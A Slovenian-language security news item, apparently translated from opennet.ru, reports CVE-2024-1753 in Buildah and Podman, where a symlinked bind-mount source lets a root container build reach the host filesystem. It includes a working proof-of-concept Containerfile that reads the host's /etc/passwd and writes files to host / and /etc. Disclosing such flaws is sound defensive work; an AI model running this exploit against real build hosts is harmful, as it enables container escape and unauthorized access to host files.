Ranljivost v Buildah in Podman, ki omogoča zaobitev izolacije kontejnerja

V paketih Buildah in Podman je bila odkrita ranljivost (CVE-2024-1753), ki omogoča popoln dostop do datotečnega sistema gostiteljskega okolja med sestavljanjem kontejnerja, ki se izvaja s pravicami root. Na sistemih z omogočenim SELinuxom je dostop do gostiteljskega datotečnega sistema omejen na način samo za branje. Popravek je trenutno na voljo v obliki popravka, ki je bil pred nekaj minutami sprejet v izvorno kodo Buildah.

Ranljivost nastane, ker pri izvedbi montiranja delov datotečnega sistema z ukazom „mount —bind“ med sestavljanjem na stopnji RUN argument z izvirnim imenikom (parameter „source=“) ni preverjen na obstoječnost v korenskem datotečnem sistemu. Zlonamerna datoteka za konfiguracijo Containerfile lahko uporabi sliko kontejnerja, kjer je izvorni imenik za montiranje predstavljen kot simbolična povezava na korenski datotečni sistem. V takem primeru bo operacija montiranja povzročila montiranje korenskega datotečnega sistema gostiteljskega okolja znotraj kontejnerja, kar bo omogočilo, da se med fazo RUN pridobi popoln dostop do datotečnega sistema gostitelja in izhod iz kontejnerja med sestavljanjem z ukazi „buildah build“ ali „podman build“.

Primer zlonamerne datoteke Containerfile, katere sestavljanje z ukazom „podman build -f ~/Containerfile .“ bo privedlo do prikaza vsebine /etc/passwd in ustvarjanja datotek /BIND_BREAKEOUT in /etc/BIND_BREAKOUT2 v gostiteljskem okolju: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo „ls container root“ RUN ls -l / RUN echo „Z izkoriščanjem prikaži gostiteljski root, ne kontejnerjevega roota, in ustvari /BIND_BREAKOUT v / na gostitelju“ RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo „Z izkoriščanjem prikaži gostiteljski /etc/passwd, ne kontejnerjevega, in ustvari /BIND_BREAKOUT2 v /etc na gostitelju“ RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Izvor: opennet.ru

Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki 🔥 Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki | ProHoster